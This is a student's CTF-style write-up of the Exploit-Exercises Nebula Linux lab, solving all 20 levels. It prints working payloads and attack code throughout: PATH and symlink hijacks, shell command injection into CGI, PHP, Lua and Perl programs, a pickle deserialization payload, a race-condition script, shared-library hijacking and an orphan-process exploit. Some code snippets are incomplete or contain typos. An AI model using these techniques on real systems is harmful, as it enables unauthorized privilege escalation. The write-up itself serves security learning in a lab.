免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
0x0 前言
Exploit-Exercise是一系列学习linux下渗透的虚拟环境，官网是https://exploit-exercises.com/，通过它可以学习提权，漏洞利用，逆向等知识
我们这里尝试的是Nebula，是一个涵盖初级、中级挑战任务的练习环境，一个有20个关卡。涉及到的知识点有：
- SUID文件（SUID files）
- 权限（Permission）
- 竞态条件（Race conditions）
- Shell编程（Shell）
- $PATH缺陷（$PATH weaknesses）
- 脚本语言缺陷（Scripting language weakness）
- 二进制编译漏洞（Binary compilation failures）
网上有详细的Nebula通关教程，我希望通过这次实验，提升自己linux下渗透的本领，掌握一些linux本地和远程攻击的基本知识。
0x1 通关流程
我参照网上给出的教程，来尝试完成Nebula的20个关卡。有兴趣的同学可以找我拷贝Nebula的镜像。i春秋上也有Nebula的在线环境练习。
每一个关卡level对应一个账号：levelXX/levelXX（用户名和口令是一样的）比如第5关的账号就是 level05/level05。登录之后，进入/home/flagXX的目录下，与该关卡有关的东西都在这里。
官网中的Nebula页面中有每道题的程序源码。
每一关提权成功之后，需要执行/bin/getflag/，如果提权是成功的，会提示“You have successfully executed getflag on a target account”，否则提示“getflag is executing on a non-flag accont, this doesn't count”
level00——找特权程序
本关卡需要找到一个以“flag00”账号运行的可执行程序。关键是对find命令和uid知识的掌握。
我们先看看flag00的UID是什么，输入cat /etc/passwd | grep flag00
flag00的UID和GID都是999。
接着通过find命令从根目录开始查找，输入find / -uid 999 2> /dev/null
（我们把标准错误输出扔到/dev/null黑洞里去）
无论是/bin/.../flag00，还是/rofs/bin/.../flag00都符合要求，任意执行一个即可。接着运行/bin/getflag成功通关。
level01——环境变量
本题开始，需要我们对源码进行分析了，官网提供的源代码如下：
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } 这就是我们flag01程序的源代码。这里的system调用，执行了env程序。
env用来显示环境变量，以及在定义的环境中执行程序。env需要根据环境变量PATH来查找程序的路径。
即便是system中的参数是“硬编码”的，我们也有办法执行任意文件。
我们看到flag01程序的权限就是flag01，我们的目标就是通过它来执行/bin/getflag
这一系列手段非常有参考意义。/tmp目录对所有用户都有完整的权限。
我们首先在/tmp下建立一个指向/bin/getflag的软链接echo，然后将/tmp目录放到环境变量PATH的最前面。
这样，env程序在查找echo的时候会首先找到/tmp下的“伪装”echo并执行。
通过这样的手法，可以执行其他的可执行程序。
level02——执行任意文件
老样子，从代码中发现漏洞，本关卡的程序源码如下：
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); } asprintf是GNU扩展的C函数，它将格式化字符串放到buffer中。getenv函数获取环境变量USER的值。
由于环境变量USER是可以自己设置的，我们把USER设置为;/bin/getflag
这样，执行了echo命令后，就会执行/bing/getflag，达到level02的要求。
level03——计划任务
这个关卡有一个计划任务，每隔2分钟执行/home/flag03目录下的writable.sh。
我们可以看到writeable.sh的内容。
这个脚本会自动执行writable.d里面的所有文件，接着有删除这个脚本。
而计划任务crontab是flag03用户创建的，我们可以在writable.d中创建脚本来完成操作。
我们在writable.d的目录下创建一个run脚本。
/bin/getflag > /tmp/20155110wangyifan这个脚本执行/bin/getflag，并把结果重定向到/tmp/20155110wangyifan文件中。
等待两分钟，我们在/tmp目录下发现20155110wangyifan这个文件。
也就是说crontable自动执行了/bin/getflag程序
level04——越权获得token
这个关卡需要我们获取token文本文件的内容。目前我们的权限是读取不了的。
除了root权限外，只要flag04用户可以对它进行读写操作。这里有一个flag04程序，我们需要利用这个程序的漏洞，来获得token。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); } 注意这段代码：
if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY);flag04会把命令行参数作为文件名并打开，但是文件名不能包含“token”字符串，否则会退出程序。
还是祭出我们的软链接大法，迷惑flag04程序。
这就是flag04账号的密码，登录flag04账号执行getflag，完成这一关的任务
level05——ssh密钥窃取
在这一关，我们需要找到一个弱权限的目录，然后通过它来提权。
我们需要关注的是.backup和.ssh这两个目录。
.ssh目录我们进不去。只能先在.backup目录里面探索一下。
我们把backup-19072011.tgz解压到/tmp目录下（因为权限不过无法在当前目录解压）
原来是ssh的公钥和私钥！直接把它copy到/home/level05然后ssh登录flag05的账号就能完成此关卡了！
ssh登录后执行getflag，完成这关。
level06——linux登录密码
在本关卡中，flag06账号的认字凭证是存储在/etc/passwd中的（当然现在的linux都把密码放在/etc/shadow中，比/etc/passwd安全一些）
我们先读取flag06的密码散列值
然后我们就要祭出Kali，用john这个口令破解工具弄出flag06账号的密码
so easy！密码就是hello，直接登录flag06的账号，可以通过此关。
level07——Perl脚本漏洞
在这关中，我们的攻击对象是一个perl编写的cgi程序。
训练环境的IP配置为192.168.56.102
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host")); 配置文件thttpd.conf显示开放的端口号是7007。
这段perl脚本的功能是调用外部的ping命令去ping指定的IP。接收的参数名为"Host"
@output = `ping -c 3 $host 2>&1`;这段代码调用了外部命令，我们可以来一次 典型的命令注入
首先确认cgi程序的权限，在浏览器中输入
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami
我们看到CGI程序就是以flag07的用户权限运行的。
我们直接运行目标程序getflag即可
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
我们通过 命令注入成功通关。
level08——TCP数据包分析
这个关卡中我们需要分析一个capture.pcap的数据包。
我们把训练环境的文件弄到本地来。然后用wireshark分析一下。
我们使用wireshark的“分析——追踪TCP流功能”
这是一个交互式登录的抓包。我们使用 Hex dump方式看password字段。
我们对照ascii表，7F是del删除，也就是说用户输入backdoor后，又删除了三个字符，接着输入00Rm8，又删除了一个字符，最后输入ate并敲下回车。
所以，最后的password就是backd00Rmate
我们用这个password登陆flag08账号，顺利通关。
level09——攻击php代码
我们在这一关卡需要攻击一个有漏洞的php代码。
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>这段代码中的正则表达式会将[email xxx@xxx.xxx]中的“.”替换成“dot”，将“@”替换成“AT”，也就是变成xxx AT xxx dot xxx
我们注意到这一句代码：
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);preg_replace第一参数使用了/e模式，preg_replace的第二个参数会作为代码执行。
我们将用php中的system函数执行外部的shell命令
将下面的内容写到文件/tmp/wyf中去
[email "{${system(getflag)}}"]
接着执行flag09程序以后，getflag程序也被调用，我们成功通关
level10——竞态条件漏洞
在本关卡的/home/flag10目录下有两个文件：flag10和token。
官网提示，这里是一个文件访问的竞态条件漏洞，去获取token的内容。
我们先看看完整的源代码：
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } } 注意access函数，当前用户访问某个文件时，返回值为0，才会有后面这一大段代码。
if(access(argv[1], R_OK) == 0) { .... } else { printf("You don't have access to %s\n", file); }如果没有访问权限，就会输出"You don't have access to <文件名>"
这段代码会建立一个socket通讯，并在18211端口上进行监听，然后打开指定的文件并把内容发送到通讯连接中。
我们的思路是这样的：
- 在本地用netcat监听端口
- 让flag10去access一个当前用户有权限访问的文件/tmp/fake_token
- 删掉刚才的/tmp/fake_token，再建立一个指向/home/flag10/token的软链接
我们先完成第一步，netcat监听
然后再另一个终端tty2下建立文件/tmp/fake_token
我们再写一个不断建立软链接的bash脚本
执行这个脚本，编写下面的脚本。
接着运行脚本，我们在看看nc收到的结果：
这就是flag10的登录密码，登录flag10账号后，执行getflag即可。
level11——任意文件可执行漏洞
在这一关卡，我们需要攻击一个flag11的可执行程序。它的源代码如下：
官网说此关卡有两种方法可以通过
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } } 这段代码比较长，我们直接定位有问题的代码段
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } 这里的buffer作为system的参数，是可控制的，但是这里的buffer的内容有点复杂，它在之前经过了“异或”加密。
非常简单，我们对要执行的命令在进行一次异或，就可以还原了。
我们的攻击代码如下：
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int length = 1024; // 要执行的命令 char *cmd = "getflag"; char buf[1024]; int key = length & 0xff; int i = 0; // 把“ getflag” 字符串拷贝到 buf 里，其余空间空字节填充 strncpy(buf,cmd,1024); for(; i<length; i++) { buf[i] ^= key; // 一定要 buf[i]^key 才可得到正确的 key ，上面那句代码才可正确执行 key = key - (buf[i] ^ key); } // 输出至标准输出 puts("Content-Length: 1024"); fwrite(buf,1,length,stdout); return 0; } 注意代码里面还设置了环境变量TEMP
tmp = getenv("TEMP");接着在系统中输入如下命令
$ export TEMP=/tmp $ gcc -o /tmp/attack /tmp/attack.c $ cd /home/flag11 $ /tmp/attack | ./flag11 blue = 1024, length = 1024, pink = 1024 You have successfully executed getflag on a target account我们成功通关此关卡。
level12——攻击Lua脚本
本关卡给出了一个lua写的socket程序，虽然我不会lua语言，但是通过猜测还是能看懂个大概的。
题目描述是一个监听在50001端口的backdoor。
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end 注意到这条语句
prog = io.popen("echo "..password.."| sha1sum", "r")这个地方存在明显的 命令注入
先telnet 127.0.0.1 50001，构造payload
;/bin/getflag > /tmp/wyf5110
我们成功执行了getflag程序，通过本关。
level13——简单的调试
我们在这一关需要破解下面的程序。
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); } 也就是说如果UID不是1000的话，我们得不到token的值。
现在，我们直接使用gdb调试这个程序（当然你也可以直接用IDA静态反汇编）
找到getuid函数的位置以后，在下一条指令的地方设置断点。然后运行。
函数的返回值在%eax寄存器中，我们发现这个uid的值是1014。
我们直接设置%eax寄存器的值为1000即可。
我们看到了token的值为b705702b-76a8-42b0-8844-3adabbe5ac58
用它登录flag13账号，执行getflag程序通过此关。
level14——破解加密程序
在这关，token文件是被flag14程序加密过的，我们需要解密token。
我们看看这个程序是怎么加密的。
显然，这个加密算法非常简单，第0位的字符加0，第1位的字符加1，...，第i位的字符加i，以此类推。
我们直接编写解密程序即可。
//dec.c #include <stdio.h> #include <string.h> int main() { char buf[1000]; scanf("%s", buf); int i; for (i = 0; i < strlen(buf); i++) { buf[i] -= i; } puts(buf); return 0; } 
我们成功得到flag，然后用它登录flag14账号执行getflag即可。
level15——linx下共享库劫持
官网直接给出提示，用strace工具追踪so使用情况。
提示没有找到libc.so.6，既然没有，我们就自己写一个让它找到。
建立目录/var/tmp/flag15，并编写如下的代码
#include <stdio.h> void __attribute__((constructor)) init() { system("/bin/getflag"); }
提示symbol __cxa_finalize，我再定义一个__cxa_finalize函数。
#include <stdio.h> void __cxa_finalize(void) { return; } void __attribute__((constructor)) init() { system(); }我们还要用汇编语言自己实现一个system函数。
.section .text
.globl system system: mov $getflag, %ebx xor %edx, %edx # 异或清空 edx ，作为空参数 push %edx push %ebx mov %esp, %ecx mov $11, %eax # 调用 execve 中断 int $0x80 .section .data getflag: .ascii "/bin/getflag\0" 最后，我们成功劫持了共享库的调用。
这一关的技术含量非常高，我们目前还没有完全理解。
level16——再次攻击perl语言CGI程序
在这一关中，我们继续攻击一个perl语言的CGI程序
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password"))); 这段代码的问题就在于它有调用了外部shell命令。
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;但是，这里对用户名做了限制，不仅将其转换为大写，而且去掉第一个空格之后的所有内容。
我们先建立这样一个脚本/tmp/wyf
构造payload为
"</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#为了方便，我们直接写一个表单提交数据。
我们这是可以看到，getflag程序已经执行了。
这又是一个绕过正则表达式的 命令注入
level17——python的pickle格式漏洞
我们要分析一个在10007端口监听的python脚本。
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1) 由于我对python不熟悉，这一关的原理也没弄明白。
这应该是一个反序列化的漏洞，先按照教程完成这一关卡吧。
构造下面的payload
cos system (S'getflag>/tmp/result' tR.
level18——资源未释放漏洞
这关非常特殊，有三种解决方法，最简单的是耗尽系统资源。
当然也有格式化字符串漏洞，栈溢出漏洞。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; } linux默认只能打开1024个文件描述符，但是stdin，stdout，stderr已经各占用了一个。最终供程序使用的只有1021个。
我们需要做的就是耗尽程序的资源，先输入
for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;将1021个login wyf5110放到/tmp/login中。
再执行
cat /tmp/login | /home/flag18/flag18 -d /tmp/debug 查看/tmp/debug的内容
根据输出内容，我们知道登录成功了。应该可以执行shell命令。
我们追加一个shell，然后再执行flag18程序。
看到这个结果，是因为文件描述符用尽了。
我们看源码中的这一部分
} else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; }也就是说添加closelog可以释放一个文件描述符。我们再次修改/tmp/login
然后执行
cat login | /home/flag18/flag18 --init-file -d debug但是出现了下面的问题。
我们可以这么操作
既然找不到Starting命令，我们就攻击环境变量，将Starting指向恶意脚本
再次运行程序，查看/tmp/output文件，我们可以知道/bin/getflag已经被执行了
level19——突破进程
终于来到最后一关了，这一关要求我们攻破下面的程序。
程序的源代码如下:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); } 这段程序的逻辑是这样的：
- 先通过getppid()函数得到父进程pid号
- 根据pid号找到/proc下当前pid号的目录
- 如果属于root，就执行shell
我们需要利用“孤儿进程”的特点来突破这段程序
孤儿进程的父进程init的uid绝对是0
编写攻击代码如下
//attack.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(void) { pid_t pid; pid = fork(); char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; if(pid == 0) { execve("/home/flag19/flag19",argvs,NULL); } else if(pid > 0) { exit(0); } return 0; }这段攻击代码，利用fork出来的子进程执行getflag程序，并将结果重定向到/tmp/flag19_output文件中。
至此，我们成功通关nebula的全部20个关卡！
心得与体会
实话实说，exploit-exercise nebula的这20个练习让我感受到了自己 离技术的门槛还很遥远
其中的一系列linux提权和任意文件执行的技巧令我印象深刻——软链接大法，python反序列化漏洞，CGI程序的命令注入，共享库劫持，gdb调试……
很多练习以我的能力是不可能做出来的，在参考了网上的教程以后，我能够 大体感受到其中的 美妙之处
之前的实验，我们只是浅尝辄止地使用一些工具而已，我们对工具的应用也是浮于表面的，尽管能熟练使用工具并玩到极致的话，也可以弄出花样来。
这次的final让我彻底明白，只有对计算机足够精通，才能真正主宰一切，而这条道路对我们来说非常漫长。
不过，能够在本学期的课程中对计算机安全技术初窥门径，我已经很满足了。
